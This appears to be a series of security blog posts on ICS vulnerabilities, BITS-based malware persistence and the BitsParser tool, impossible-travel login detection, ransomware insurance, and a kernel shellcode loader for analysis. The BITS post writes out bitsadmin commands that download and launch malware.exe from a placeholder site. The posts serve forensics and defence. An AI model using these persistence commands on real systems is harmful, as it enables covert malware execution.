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In the past several years, a flood of vulnerabilities has hit industrial control systems (ICS) – the technological backbone of electric grids, water supplies, and production lines.
These vulnerabilities affect the reliable operation of sensors, programmable controllers, software and networking equipment used to automate and monitor the physical processes that keep our modern world running.
FireEye iSIGHT Intelligence has identified nearly 1,600 publicly disclosed ICS vulnerabilities since 2000.
We go more in depth on these issues in our latest report, Overload: Critical Lessons from 15 Years of ICS Vulnerabilities , which highlights trends in total ICS vulnerability disclosures, patch availability, vulnerable device type and vulnerabilities exploited in the wild.
FireEye’s acquisition of iSIGHT provided tremendous visibility into the depth and breadth of vulnerabilities in the ICS landscape and how threat actors try to exploit them.
To make matters worse, many of these vulnerabilities are left unpatched and some are simply unpatchable due to outdated technology, thus increasing the attack surface for potential adversaries.
In fact, nation-state cyber threat actors have exploited five of these vulnerabilities in attacks since 2009.
Unfortunately, security personnel from manufacturing, energy, water and other industries are often unaware of their own control system assets, not to mention the vulnerabilities that affect them.
As a result, organizations operating these systems are missing the warnings and leaving their industrial environments exposed to potential threats.
Click here to download the report and learn more.
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In this blog post we will describe: How attackers use the Background Intelligent Transfer Service (BITS) Forensic techniques for detecting attacker activity with data format specifications Public release of the BitsParser tool A real-world example of malware using BITS persistence Introduction Microsoft introduced the Background Intelligent Transfer Service (BITS) with Windows XP to simplify and coordinate downloading and uploading large files.
Applications and system components, most notably Windows Update, use BITS to deliver operating system and application updates so they can be downloaded with minimal user disruption.
Applications interact with the Background Intelligent Transfer Service by creating jobs with one or more files to download or upload.
The BITS service runs in a service host process and can schedule transfers to occur at any time.
Job, file, and state information is stored in a local database.
How Attackers Use BITS As is the case with many technologies, BITS can be used both by legitimate applications and by attackers.
When malicious applications create BITS jobs, files are downloaded or uploaded in the context of the service host process.
This can be useful for evading firewalls that may block malicious or unknown processes, and it helps to obscure which application requested the transfer.
BITS transfers can also be scheduled allowing them to occur at specific times without relying on long-running processes or the task scheduler.
BITS transfers are asynchronous, which can result in situations where the application that created a job may not be running when the requested transfers complete.
To address this scenario BITS jobs can be created with a user-specified notification command, which will be executed after the job completes or in case of errors.
The notification commands associated with BITS jobs can specify any executable or command to run.
Attackers have utilized this feature as a method for maintaining persistence of malicious applications.
Since the command data for BITS jobs is stored to a database rather than traditional registry locations, it can be overlooked by tools that attempt to identify persistence executables and commands or by forensic investigators.
BITS jobs can be created using API function calls or via the bitsadmin command line tool.
See Figure 1 and Figure 2 for an example of how a BITS job can be used to download a file and trigger execution.
> bitsadmin /create download > bitsadmin /addfile
download https://<site>/malware.exe c:\\windows\\malware.exe > bitsadmin /resume
download > bitsadmin /complete
download Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}.
Added https://<site>/malware.exe -> c:\\windows\\malware.exe to job.
Job resumed.
Job completed.
Figure 1: Using bitsadmin to create a job that downloads a malicious executable and stores it to c:\\windows\\malware.exe.
> bitsadmin /create persistence > bitsadmin /addfile persistence http://127.0.0.1/invalid.exe c:\\windows\\i.exe > bitsadmin /SetNotifyCmdLine
persistence c:\\windows\\malware.exe NULL > bitsadmin /resume persistence Figure 2:
Using bitsadmin to create a job that will launch malware.exe after attempting to download an invalid URL.
Creating BitsParser Through our investigations, Mandiant consultants identified evidence of attackers leveraging BITS across multiple campaigns.
In order to search for evidence of attacker use of BITS, we needed to understand the underlying infrastructure used by BITS and create a tool that could collect relevant information.
We created BitsParser , which parses BITS databases and returns information about jobs executed on endpoint systems.
The tool can be run internally by Mandiant consultants via our endpoint agent allowing BITS data to be acquired from many hosts across an enterprise.
BitsParser has been successfully used in many investigations to uncover attacker downloads, uploads, and persistence.
In order to process the custom database format, BitsParser utilizes the open source ANSSI-FR library.
The library allows parsing of both active and deleted entries from BITS database files, and it can fully extract relevant information from job and file records.
The QMGR Database BITS jobs and associated state information are stored in local “queue manager” (QMGR) database files in the %ALLUSERSPROFILE%\\Microsoft\\Network\\Downloader directory.
The database is stored to files named qmgr0.dat and qmgr1.dat.
The two-file scheme appears to be used for back up and synchronization purposes.
The second file largely contains duplicate job and file information, though some unique or older entries can be found in the file.
Windows 10 Changes The Background Intelligent Transfer Service has largely remained unchanged since its introduction.
However, Windows 10 introduced significant changes to the service, including an all new database format.
On Windows 10 the QMGR database is stored using the Extensible Storage Engine (ESE) format.
ESE databases have been used in many other Microsoft products including Exchange, Active Directory, and Internet Explorer.
Windows 10 stores the QMGR database in a single file called qmgr.db .
Separate transaction log files are maintained in the same directory.
The most recent transaction log is stored to a file called edb.log , and three older transaction logs with numerical suffixes are typically present.
Parsing ESE Databases
In order to support investigations on Windows 10 systems, we updated the BitsParser tool to support the new QMGR database format.
To accomplish this, we needed a Python-based ESE database parser.
Research led us to libesedb , which is a full ESE database implementation written in C with a Python wrapper.
With no other Python options available, we initially used libesedb in BitsParser to parse the Windows 10 QMGR database.
However, we sought a solution that did not rely on native executables and would be more compact for improved efficiency in large scale deployments.
The only pure Python ESE database implementation we identified was part of the Impacket network toolset.
Although the source code could perform basic database enumeration, it lacked key features, including the ability to process long values.
Since the QMGR database includes entries large enough to require long values, modification of the Impacket implementation was required.
We adapted the Impacket ESE database parsing code to make it more robust and support all features necessary for parsing QMGR databases.
The full Python solution allows database parsing in a much smaller package without the risks and limitations of native code.
Database Structure The Windows 10 QMGR database contains two tables: Jobs and Files.
Both tables have two columns: Id and Blob.
The Id contains a GUID to identify the entry, and the Blob contains binary data which defines the job or file.
Fortunately, the job and file structures are largely unchanged from the previous database format.
Job data starts with the control structure: Offset Field Size 0 Type 4 4 Priority 4 8 State 4 ... 16 Job ID (GUID) 16 32 Name (UTF-16) variable variable Description (UTF-16) variable variable Command (UTF-16) variable variable Arguments (UTF-16) variable variable User SID (UTF-16) variable variable Flags 4
Following the control structure is a list of files delimited by the XFER GUID, {7756DA36-516F-435A-ACAC-44A248FFF34D}.
The list begins with a 4-byte file count followed by a list of GUIDs, which correspond to Id values in the Files table.
The file data uses the following structure: Field Size Destination Filename (UTF-16) variable Source Filename (UTF-16) variable Temporary Filename (UTF-16)
variable Download Size 8 Transfer Size 8 unknown 1 Drive (UTF-16) variable Volume GUID (UTF-16) variable The database is processed by enumerating entries in the Jobs table, parsing each job data, finding correlated files, and parsing the corresponding records in the Files table.
This allows the BitsParser to combine related information and output jobs with their associated files including relevant metadata.
Recovering Deleted Records Active jobs have entries in the Jobs and Files tables.
Records are deleted upon job completion or cancellation.
As with other filesystem and data formats, deleted entries are not immediately overwritten and can often be recovered for some time after deletion.
The following algorithm is used to recover deleted jobs and files from Windows 10 QMGR databases: Locate file records by searching for the file identifier GUID, {519ECFE4-D946-4397-B73E-268513051AB2}.
Attempt to parse the following data as a normal file record.
Locate job records by searching for job identifier GUIDs.
Attempt to parse the following data as a normal job record.
Handle incomplete job entries by parsing just the control structure and manually locate associated files if required.
The following job GUIDs have been observed in QMGR databases: {E10956A1-AF43-42C9-92E6-6F9856EBA7F6} {4CD4959F-7064-4BF2-84D7-476A7E62699F} {A92619F1-0332-4CBF-9427-898818958831} {DDBC33C1-5AFB-4DAF-B8A1-2268B39D01AD} {8F5657D0-012C-4E3E-AD2C-F4A5D7656FAF} {94416750-0357-461D-A4CC-5DD9990706E4} Correlate carved file records to carved jobs.
Process all remaining carved file records that could not be correlated to active or deleted jobs.
Historic records can also be found in transaction log files.
Although we do not parse the transaction log structures, the same algorithm can be used to find job and file records within the logs by searching for appropriate GUIDs.
While the same records may be present in multiple files, duplicates can be suppressed to prevent output of redundant information.
BitsParser Tool Release
At the time of writing we are not aware of any open source tools available to parse BITS databases and extract data useful for incident response and forensic investigations.
To help address this and foster further research, FireEye has decided to release a standalone version of BitsParser.
This command line utility can process all versions of BITS databases and perform carving to recover deleted job and file information.
Source code for BitsParser can be found at our GitHub page .
Note that on Windows 10 the QMGR database files are opened without sharing by the BITS service thus preventing other programs from directly opening them.
When BitsParser is deployed via the FireEye endpoint agent it can directly parse the local filesystem and raw read files in circumstances where they cannot be directly read.
The standalone BitsParser does not have this ability.
The BITS service should be stopped prior to running BitsParser or third-party tools for copying locked files may be utilized.
BITS Persistence in the Wild
In 2020 Mandiant responded to many incidents involving Ryuk ransomware operators leveraging custom backdoors and loaders to actively target hospitals and other medical support centers (see our blog post Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser ).
Through numerous engagements Mandiant was able to profile the attacker's Tools Techniques and Procedures (TTPs) and identify unique aspects of the various backdoors and loaders that were leveraged prior to encryption.
In one such engagement, Mandiant consultants had mapped the vast majority of the attack timeline from initial exploitation to the encryption of corporate resources and an extortion demand.
Log analysis and telemetry provided by the customer's on-premises endpoint detection solution led to the identification of a KEGTAP backdoor on an end-user workstation.
Mandiant was able to identify the specific email and lure used by the ransomware operators including the download and execution of the file mail.exe , which launched KEGTAP.
However, none of the persistence mechanisms that Mandiant observed in other engagements were present on this endpoint.
A full understanding of the persistence mechanism would allow Mandiant to hunt for additional evidence of attacker activity across the environment and in other engagements.
As focus intensified, Mandiant consultants identified evidence to indicate that the BITS service launched the KEGTAP backdoor.
Analysts identified entries in the Microsoft-Windows-Bits-Client operational event log which associated the BITS service activity with the file mail.exe .
3 | Information | The BITS service created a new job: System update, with owner REDACTED 61 | Warning | BITS stopped transferring the System update transfer job that is associated with the http://127.0.0.1/tst/56/ URL.
The status code is 2147954429.
64
| Warning | The BITS job System update is configured to launch C:\\Users\\REDACTED\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\REDACTED\\mail.exe after transfer of http://127.0.0.1/
tst/12/.
The service failed to launch the program with error 2147942402, BITS will continue trying to launch the program periodically until it succeeds.
Figure 3: Event log entries showing the creation of a BITS job for persistence Mandiant consultants were able to confirm the details of the BITS job by interacting with the host and examining the QMGR database.
The malicious BITS job was set to attempt an HTTP transfer of a nonexistent file from the local host.
As this file would never exist, BITS would trigger the error state and launch the notify command, which in this case was KEGTAP.
Unfortunately, while this was successful in identifying a previously unknown persistence mechanism associated with this threat group, manual QMGR database analysis would not scale across multiple systems or environments.
Adapting the existing BitsParser to parse the Windows 10 version of the QMGR database enabled Mandiant consultants to efficiently identify additional infected systems across multiple environments.
{ \"JobType\": \"download\", \"JobPriority\": \"normal\", \"JobState\": \"queued\", \"JobName\": \"System update\", \"CommandExecuted\": \"C:\\\\Users\\\\REDACTED\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\\\\IE\\\\REDACTED\\\\mail.exe\", \"Files\": [ { \"DestFile\": \"C:\\\\Users\\\\REDACTED\\\\AppData\\\\Local\\\\Microsoft\\\\Windows\\\\INetCache\\\\IE\\\\REDACTED\\\\mail.exe\", \"SourceURL\": \"http://127.0.0.1/tst/56/\", \"DownloadByteSize\": 0 } ] } Figure 4: BitsParser output shows the malicious BITS job launching mail.exe
Conclusion The Background Intelligent Transfer Service continues to provide utility to applications and attackers alike.
The BITS QMGR database can present a useful source of data in an investigation or hunting operation.
BitsParser may be utilized with other forensic tools to develop a detailed view of attacker activity.
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Users have long needed to access important resources such as virtual private networks (VPNs), web applications, and mail servers from anywhere in the world at any time.
While the ability to access resources from anywhere is imperative for employees, threat actors often leverage stolen credentials to access systems and data.
Due to large volumes of remote access connections, it can be difficult to distinguish between a legitimate and a malicious login.
Today, we are releasing GeoLogonalyzer to help organizations analyze logs to identify malicious logins based on GeoFeasibility; for example, a user connecting to a VPN from New York at 13:00 is unlikely to legitimately connect to the VPN from Australia five minutes later.
Once remote authentication activity is baselined across an environment, analysts can begin to identify authentication activity that deviates from business requirements and normalized patterns, such as: User accounts that authenticate from two distant locations, and at times between which the user probably could not have physically travelled the route.
User accounts that usually log on from IP addresses registered to one physical location such as a city, state, or country, but also have logons from locations where the user is not likely to be physically located.
User accounts that log on from a foreign location at which no employees reside or are expected to travel to, and your organization has no business contacts at that location.
User accounts that usually log on from one source IP address, subnet, or ASN, but have a small number of logons from a different source IP address, subnet, or ASN.
User accounts that usually log on from home or work networks, but also have logons from an IP address registered to cloud server hosting providers.
User accounts that log on from multiple source hostnames or with multiple VPN clients.
GeoLogonalyzer can help address these and similar situations by processing authentication logs containing timestamps, usernames, and source IP addresses.
GeoLogonalyzer can be downloaded from our FireEye GitHub .
GeoLogonalyzer Features IP Address GeoFeasibility Analysis For a remote authentication log that records a source IP address, it is possible to estimate the location each logon originated from using data such as MaxMind’s free GeoIP database .
With additional information, such as a timestamp and username, analysts can identify a change in source location over time to determine if that user could have possibly traveled between those two physical locations to legitimately perform the logons.
For example, if a user account, Meghan, logged on from New York City, New York on 2017-11-24 at 10:00:00 UTC and then logged on from Los Angeles, California 10 hours later on 2017-11-24 at 20:00:00 UTC, that is roughly a 2,450 mile change over 10 hours.
Meghan’s logon source change can be normalized to 245 miles per hour which is reasonable through commercial airline travel.
If a second user account, Harry, logged on from Dallas, Texas on 2017-11-25 at 17:00:00 UTC and then logged on from Sydney, Australia two hours later on 2017-11-25 at 19:00:00 UTC, that is roughly an 8,500 mile change over two hours.
Harry’s logon source change can be normalized to 4,250 miles per hour, which is likely infeasible with modern travel technology.
By focusing on the changes in logon sources, analysts do not have to manually review the many times that Harry might have logged in from Dallas before and after logging on from Sydney.
Cloud Data Hosting Provider Analysis Attackers understand that organizations may either be blocking or looking for connections from unexpected locations.
One solution for attackers is to establish a proxy on either a compromised server in another country, or even through a rented server hosted in another country by companies such as AWS, DigitalOcean, or Choopa.
Fortunately, Github user “client9” tracks many datacenter hosting providers in an easily digestible format.
With this information, we can attempt to detect attackers utilizing datacenter proxy to thwart GeoFeasibility analysis.
Using GeoLogonalyzer Usable Log Sources GeoLogonalyzer is designed to process remote access platform logs that include a timestamp, username, and source IP.
Applicable log sources include, but are not limited to: VPN Email client or web applications Remote desktop environments such as Citrix Internet-facing applications Usage GeoLogonalyzer’s built-in –csv input type accepts CSV formatted input with the following considerations: Input must be sorted by timestamp.
Input timestamps must all be in the same time zone, preferably UTC, to avoid seasonal changes such as daylight savings time.
Input format must match the following CSV structure – this will likely require manually parsing or reformatting existing log formats: YYYY-MM-DD HH:MM:SS, username, source IP, optional source hostname, optional VPN client details GeoLogonalyzer’s code comments include instructions for adding customized log format support.
Due to the various VPN log formats exported from VPN server manufacturers, version 1.0 of GeoLogonalyzer does not include support for raw VPN server logs.
GeoLogonalyzer Usage Example Input Figure 1 represents an example input VPNLogs.csv file that recorded eight authentication events for the two user accounts Meghan and Harry.
The input data is commonly derived from logs exported directly from an application administration console or SIEM.
Note that this example dataset was created entirely for demonstration purposes.
Figure 1: Example GeoLogonalyzer input Example Windows Executable Command GeoLogonalyzer.exe --csv VPNLogs.csv --output GeoLogonalyzedVPNLogs.csv
Example Python Script Execution Command python GeoLogonalyzer.py --csv VPNLogs.csv --output GeoLogonalyzedVPNLogs.csv
Example Output Figure 2 represents the example output GeoLogonalyzedVPNLogs.csv file, which shows relevant data from the authentication source changes (highlights have been added for emphasis and some columns have been removed for brevity):
Figure 2: Example GeoLogonalyzer output Analysis In the example output from Figure 2, GeoLogonalyzer helps identify the following anomalies in the Harry account’s logon patterns: FAST - For Harry to physically log on from New York and subsequently from Australia in the recorded timeframe, Harry needed to travel at a speed of 4,297 miles per hour.
DISTANCE – Harry’s 8,990 mile trip from New York to Australia might not be expected travel.
DCH – Harry’s logon from Australia originated from an IP address associated with a datacenter hosting provider.
HOSTNAME and CLIENT – Harry logged on from different systems using different VPN client software, which may be against policy.
ASN – Harry’s source IP addresses did not belong to the same ASN.
Using ASN analysis helps cut down on reviewing logons with different source IP addresses that belong to the same provider.
Examples include logons from different campus buildings or an updated residential IP address.
Manual analysis of the data could also reveal anomalies such as: Countries or regions where no business takes place, or where there are no employees located Datacenters that are not expected ASN names that are not expected, such as a university Usernames that should not log on to the service Unapproved VPN client software names Hostnames that are not part of the environment, do not match standard naming conventions, or do not belong to the associated user While it may be impossible to determine if a logon pattern is malicious based on this data alone, analysts can use GeoLogonalyzer to flag and investigate potentially suspicious logon activity through other investigative methods.
GeoLogonalyzer Limitations Reserved Addresses Any RFC1918 source IP addresses, such as 192.168.X.X and 10.X.X.X, will not have a physical location registered in the MaxMind database.
By default, GeoLogonalyzer will use the coordinates (0, 0) for any reserved IP address, which may alter results.
Analysts can manually edit these coordinates, if desired, by modifying the RESERVED_IP_COORDINATES constant in the Python script.
Setting this constant to the coordinates of your office location may provide the most accurate results, although may not be feasible if your organization has multiple locations or other point-to-point connections.
GeoLogonalyzer also accepts the parameter –skip_rfc1918, which will completely ignore any RFC1918 source IP addresses and could result in missed activity.
Failed Logon and Logoff Data It may also be useful to include failed logon attempts and logoff records with the log source data to see anomalies related to source information of all VPN activity.
At this time, GeoLogonalyzer does not distinguish between successful logons, failed logon attempts, and logoff events.
GeoLogonalyzer also does not detect overlapping logon sessions from multiple source IP addresses.
False Positive Factors Note that the use of VPN or other tunneling services may create false positives.
For example, a user may access an application from their home office in Wyoming at 08:00 UTC, connect to a VPN service hosted in Georgia at 08:30 UTC, and access the application again through the VPN service at 09:00 UTC.
GeoLogonalyzer would process this application access log and detect that the user account required a FAST travel rate of roughly 1,250 miles per hour which may appear malicious.
Establishing a baseline of legitimate authentication patterns is recommended to understand false positives.
Reliance on Open Source Data GeoLogonalyzer relies on open source data to make cloud hosting provider determinations.
These lookups are only as accurate as the available open source data.
Preventing Remote Access Abuse Understanding that no single analysis method is perfect, the following recommendations can help security teams prevent the abuse of remote access platforms and investigate suspected compromise.
Identify and limit remote access platforms that allow access to sensitive information from the Internet, such as VPN servers, systems with RDP or SSH exposed, third-party applications (e.g., Citrix), intranet sites, and email infrastructure.
Implement a multi-factor authentication solution that utilizes dynamically generated one-time use tokens for all remote access platforms.
Ensure that remote access authentication logs for each identified access platform are recorded, forwarded to a log aggregation utility, and retained for at least one year.
Whitelist IP address ranges that are confirmed as legitimate for remote access users based on baselining or physical location registrations.
If whitelisting is not possible, blacklist IP address ranges registered to physical locations or cloud hosting providers that should never legitimately authenticate to your remote access portal.
Utilize either SIEM capabilities or GeoLogonalyzer.py to perform GeoFeasibility analysis of all remote access on a regular frequency to establish a baseline of accounts that legitimately perform unexpected logon activity and identify new anomalies.
Investigating anomalies may require contacting the owner of the user account in question.
FireEye Helix analyzes live log data for all techniques utilized by GeoLogonalyzer, and more!
Download GeoLogonalyzer today.
Acknowledgements Christopher Schmitt, Seth Summersett, Jeff Johns, and Alexander Mulfinger.
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In mid-May, one of the largest insurance companies in the U.S. paid $40 million to ransomware attackers.
Two people familiar with the matter told Bloomberg that the malicious actors stole an undisclosed quantity of data and then effectively locked the insurer out of its network for two weeks.
The company ignored the attackers’ demands at first.
But, a week into the infection, it decided to make contact with the attackers.
This effort led to negotiations in which the insurer convinced the attackers to drop the ransom from $60 million to $40 million.
Cyber Insurers’ Straight and Narrow View of Ransomware The attack discussed above stands out for a couple of reasons.
First, it’s worth noting that $40 million is the largest ransom paid by any ransomware victim anywhere to date.
Second, it’s important to point out that the victim was a company that offers cyber insurance itself.
Why is the second point relevant?
Well, there’s a paradox when it comes to cyber insurance companies and ransomware attackers.
On the one hand, the former use monetary support to help their clients recover if and when they fall victim to the latter.
On the other, cyber insurance companies normalize the fulfillment of ransom demands.
Paying up puts all organizations at greater risk of an incident in the future.
The issue is that insurers take a straight and narrow approach to the question of whether to pay.
Insurers are concerned about the costs of recovery and business disruption.
Is it cheaper for an organization to pay the ransom?
Or is it cheaper if an organization attempts to restore their systems and data using existing backups?
Download the Definitive Guide to Ransomware Why Ransomware Victims Shouldn’t Pay Up There’s a lot of uncertainty associated with the latter scenario.
So, cyber insurers might be inclined to press their clients to pay the ransom.
It’s a problem when they do.
As noted by SC Media , they aren’t in a position to measure the more difficult-to-measure costs of paying a ransom.
Such damages include a civil penalty that a victim could incur if they end up paying an attacker who happens to be a sanctioned individual, as the U.S. Department of Treasury’s Office of Foreign Assets Control announced in October 2020.
They also include the negative publicity that often comes with supporting those who abide by ransomware’s business model.
How cyber insurers view ransom payments is relevant given the proportion of claims that involve ransomware in some way.
Ransomware incidents accounted for 41% of cyber insurance claims filed in the first half of 2020 — an increase of 260%.
During that same period, ransom demands increased by 47%.
Cyber insurance claims covered anywhere from as low as $1,000 to as high as $2 million per ransomware event.
Ransom Demands Increasing The fact that ransom demands are increasing isn’t a coincidence.
Per Bloomberg, the average ransom demand increased to somewhere between $50 million and $70 million over the first half of 2021.
Even so, ransomware victims only ended up paying between $10 million and $15 million on average.
The reality is that victims like the U.S. insurance company discussed above succeed in negotiating the ransom payment down.
Not only that, but many victims have cyber insurance policies that cover some, if not all, of the cost of paying a ransom.
Ransomware actors understand that many of their victims have cyber insurers paying with or for them.
They can leverage that fact to jack up the price of their ransom demands, all while keeping the expectation that they’ll be paid by the victim, the insurance company or both.
Anti-Ransomware Best Practices Amid Possible Changes
The cyber insurance landscape could be changing with respect to ransomware.
In the beginning of May, for instance, a global insurance company announced it would no longer write insurance policies in France that reimburse ransomware victims for paying the ransom.
The insurance company clarified that its decision did not apply to existing policies, reported ABC News .
More than that, it said that it would continue to provide coverage for responding to and recovering from a ransomware infection so long as the victim didn’t pay the ransom.
Organizations don’t want to rely on an insurer when it comes to a ransomware attack.
Cyber insurance companies could pressure them into paying the ransom and thereby contributing to the ransomware business model more broadly.
The only answer is for organizations to prevent a ransomware infection from occurring in the first place.
Layers, Like an Onion They can prevent a ransomware attack by taking a layered approach.
First, they can invest in a security awareness training program that educates their workforce about some of the most common types of ransomware delivery vectors in circulation today.
Organizations should specifically focus on using phishing simulations to familiarize all their employees with malware borne by email-based attacks.
In doing so, organizations will take a step forward towards building a positive security culture .
Second, organizations need to blend those human controls with technical security measures.
Data backups are just the beginning.
Take phishing as a delivery vector, for instance.
Organizations can use disallow lists to prevent company inboxes from receiving mail from blocked websites or from opening email attachments in unusual formats.
They can also use encryption to protect their data from the start.
Doing so will not only help organizations safeguard their sensitive information against the threat of double extortion, it will also potentially trick a ransomware strain into deeming that data unsuitable for encryption.
Putting Cyber Insurance into Context Cyber insurance is not a digital security strategy; it’s part of one.
More than that, it functions best as a last resort and not a first response.
Accordingly, organizations need to focus on implementing all the security measures discussed above as a means of defending themselves against ransomware.
Doing so will help them to save time and money if and when it comes time to respond to a ransomware attack.
If your organization requires immediate assistance with incident response, please contact IBM Security X-Force’s US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.
In the wake of recent hacking tool dumps, the FLARE team saw a spike in malware samples detonating kernel shellcode.
Although most samples can be analyzed statically, the FLARE team sometimes debugs these samples to confirm specific functionality.
Debugging can be an efficient way to get around packing or obfuscation and quickly identify the structures, system routines, and processes that a kernel shellcode sample is accessing.
This post begins a series centered on kernel software analysis, and introduces a tool that uses a custom Windows kernel driver to load and execute Windows kernel shellcode.
I’ll walk through a brief case study of some kernel shellcode, how to load shellcode with FLARE’s kernel shellcode loader , how to build your own copy, and how it works.
As always, only analyze malware in a safe environment such as a VM; never use tools such as a kernel shellcode loader on any system that you rely on to get your work done.
A Tale of Square Pegs and Round Holes Depending upon how a shellcode sample is encountered, the analyst may not know whether it is meant to target user space or kernel space.
A common triage step is to load the sample in a shellcode loader and debug it in user space.
With kernel shellcode, this can have unexpected results such as the access violation in Figure 1.
Figure 1: Access violation from shellcode dereferencing null pointer The kernel environment is a world apart from user mode: various registers take on different meanings and point to totally different structures.
For instance, while the gs segment register in 64-bit Windows user mode points to the Thread Information Block (TIB) whose size is only 0x38 bytes, in kernel mode it points to the Processor Control Region (KPCR) which is much larger.
In Figure 1 at address 0x2e07d9, the shellcode is attempting to access the IdtBase member of the KPCR, but because it is running in user mode, the value at offset 0x38 from the gs segment is null.
This causes the next instruction to attempt to access invalid memory in the NULL page.
What the code is trying to do doesn’t make sense in the user mode environment, and it has crashed as a result.
In contrast, kernel mode is a perfect fit.
Figure 2 shows WinDbg’s dt command being used to display the _KPCR type defined within ntoskrnl.pdb, highlighting the field at offset 0x38 named IdtBase.
Figure 2: KPCR structure
Given the rest of the code in this sample, accessing the IdtBase field of the KPCR made perfect sense.
Determining that this was kernel shellcode allowed me to quickly resolve the rest of my questions, but to confirm my findings, I wrote a kernel shellcode loader.
Here’s what it looks like to use this tool to load a small, do-nothing piece of shellcode.
Using FLARE’s Kernel Shellcode Loader I booted a target system with a kernel debugger and opened an administrative command prompt in the directory where I copied the shellcode loader (kscldr.exe).
The shellcode loader expects to receive the name of the file on disk where the shellcode is located as its only argument.
Figure 3 shows an example where I’ve used a hex editor to write the opcodes for the NOP (0x90) and RET (0xC3) instructions into a binary file and invoked kscldr.exe to pass that code to the kernel shellcode loader driver.
I created my file using the Windows port of xxd that comes with Vim for Windows .
Figure 3: Using kscldr.exe to load kernel shellcode The shellcode loader prompts with a security warning.
After clicking yes, kscldr.exe installs its driver and uses it to execute the shellcode.
The system is frozen at this point because the kernel driver has already issued its breakpoint and the kernel debugger is awaiting commands.
Figure 4 shows WinDbg hitting the breakpoint and displaying the corresponding source code for kscldr.sys.
Figure 4:
Breaking in kscldr.sys From the breakpoint, I use WinDbg with source-level debugging to step and trace into the shellcode buffer.
Figure 5 shows WinDbg’s disassembly of the buffer after doing this.
Figure 5:
Tracing into and disassembling the shellcode The disassembly shows the 0x90 and 0xc3 opcodes from before, demonstrating that the shellcode buffer is indeed being executed.
From here, the powerful facilities of WinDbg are available to debug and analyze the code’s behavior.
Building It Yourself To try out FLARE’s kernel shellcode loader for yourself, you’ll need to download the source code .
To get started building it, download and install the Windows Driver Kit (WDK) .
I’m using Windows Driver Kit Version 7.1.0 , which is command line driven, whereas more modern versions of the WDK integrate with Visual Studio.
If you feel comfortable using a newer kit, you’re welcomed to do so, but beware, you’ll have to take matters into your own hands regarding build commands and dependencies.
Since WDK 7.1.0 is adequate for purposes of this tool, that is the version I will describe in this post.
Once you have downloaded and installed the WDK, browse to the Windows Driver Kits directory in the start menu on your development system and select the appropriate environment.
Figure 6 shows the WDK program group on a Windows 7 system.
The term “checked build” indicates that debugging checks will be included.
I plan to load 64-bit kernel shellcode, and I like having Windows catch my mistakes early, so I’m using the x64 Checked Build Environment.
Figure 6: Windows Driver Kits program group In the WDK command prompt, change to the directory where you downloaded the FLARE kernel shellcode loader and type ez.cmd.
The script will cause prompts to appear asking you to supply and use a password for a test signing certificate.
Once the build completes, visit the bin directory and copy kscldr.exe to your debug target.
Before you can commence using your custom copy of this tool, you’ll need to follow just a few more steps to prepare the target system to allow it.
Preparing the Debug Target To debug kernel shellcode, I wrote a Windows software-only driver that loads and runs shellcode at privilege level 0.
Normally, Windows only loads drivers that are signed with a special cross-certificate , but Windows allows you to enable testsigning to load drivers signed with a test certificate.
We can create this test certificate for free, and it won’t allow the driver to be loaded on production systems, which is ideal.
In addition to enabling testsigning mode, it is necessary to enable kernel debugging to be able to really follow what is happening after the kernel shellcode gains execution.
Starting with Windows Vista, we can enable both testsigning and kernel debugging by issuing the following two commands in an administrative command prompt followed by a reboot: bcdedit.exe /set testsigning on bcdedit.exe /set debug on For debugging in a VM, I install VirtualKD , but you can also follow your virtualization vendor’s directions for connecting a serial port to a named pipe or other mechanism that WinDbg understands.
Once that is set up and tested, we’re ready to go!
If you try the shellcode loader and get a blue screen indicating stop code 0x3B (SYSTEM_SERVICE_EXCEPTION), then you likely did not successfully connect the kernel debugger beforehand.
Remember that the driver issues a software interrupt to give control to the debugger immediately before executing the shellcode; if the debugger is not successfully attached, Windows will blue screen.
If this was the case, reboot and try again, this time first confirming that the debugger is in control by clicking D ebug -> B reak in WinDbg.
Once you know you have control, you can issue the g command to let execution continue (you may need to disable driver load notifications to get it to finish the boot process without further intervention: sxd ld).
How It Works The user-space application (kscldr.exe) copies the driver from a PE-COFF resource to the disk and registers it as a Windows kernel service.
The driver implements device write and I/O control routines to allow interaction from the user application.
Its driver entry point first registers dispatch routines to handle CreateFile, WriteFile, DeviceIoControl, and CloseHandle.
It then creates a device named \\Device\\kscldr and a symbolic link making the device name accessible from user-space.
When the user application opens the device file and invokes WriteFile, the driver calls ExAllocatePoolWithTag specifying a PoolType of NonPagedPool ( which is executable ), and writes the buffer to the newly allocated memory.
After the write operation, the user application can call DeviceIoControl to call into the shellcode.
In response, the driver sets the appropriate flags on the device object, issues a breakpoint to pass control to the kernel debugger, and finally calls the shellcode as if it were a function.
While You’re Here Driver development opens the door to unique instrumentation opportunities.
For example, Figure 7 shows a few kernel callback routines described in the WDK help files that can track system-wide process, thread, and DLL activity.
Figure 7: WDK kernel-mode driver architecture reference Kernel development is a deep subject that entails a great deal of study, but the WDK also comes with dozens upon dozens of sample drivers that illustrate correct Windows kernel programming techniques.
This is a treasure trove of Windows internals information, security research topics, and instrumentation possibilities.
If you have time, take a look around before you get back to work.
Wrap-Up We’ve shared FLARE’s tool for loading privileged shellcode in test environments so that we can dynamically analyze kernel shellcode.
We hope this provides a straightforward way to quickly triage kernel shellcode if it ever appears in your environment.
Download the source code now.
Do you want to learn more about these tools and techniques from FLARE?
Then you should take one of our Black Hat classes in Las Vegas this summer!
Our offerings include Malware Analysis Crash Course , macOS Malware for Reverse Engineers , and Malware Analysis Master Class .
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Image parsing and rendering are basic features of any modern operating system (OS).
Image parsing is an easily accessible attack surface, and a vulnerability that may lead to remote code execution or information disclosure in such a feature is valuable to attackers.
In this multi-part blog series, I am reviewing Windows OS’ built-in image parsers and related file formats: specifically looking at creating a harness, hunting for corpus and fuzzing to find vulnerabilities.
In part one of this series I am looking at color profiles—not an image format itself, but something which is regularly embedded within images.
What is an ICC Color Profile?
Wikipedia provides a more-than-adequate description of ICC color profiles : \"In color management, an ICC profile is a set of data that characterizes a color input or output device, or a color space, according to standards promulgated by the International Color Consortium (ICC).
Profiles describe the color attributes of a particular device or viewing requirement by defining a mapping between the device source or target color space and a profile connection space (PCS).
This PCS is either CIELAB (L*a*b*) or CIEXYZ.
Mappings may be specified using tables, to which interpolation is applied, or through a series of parameters for transformations.
”
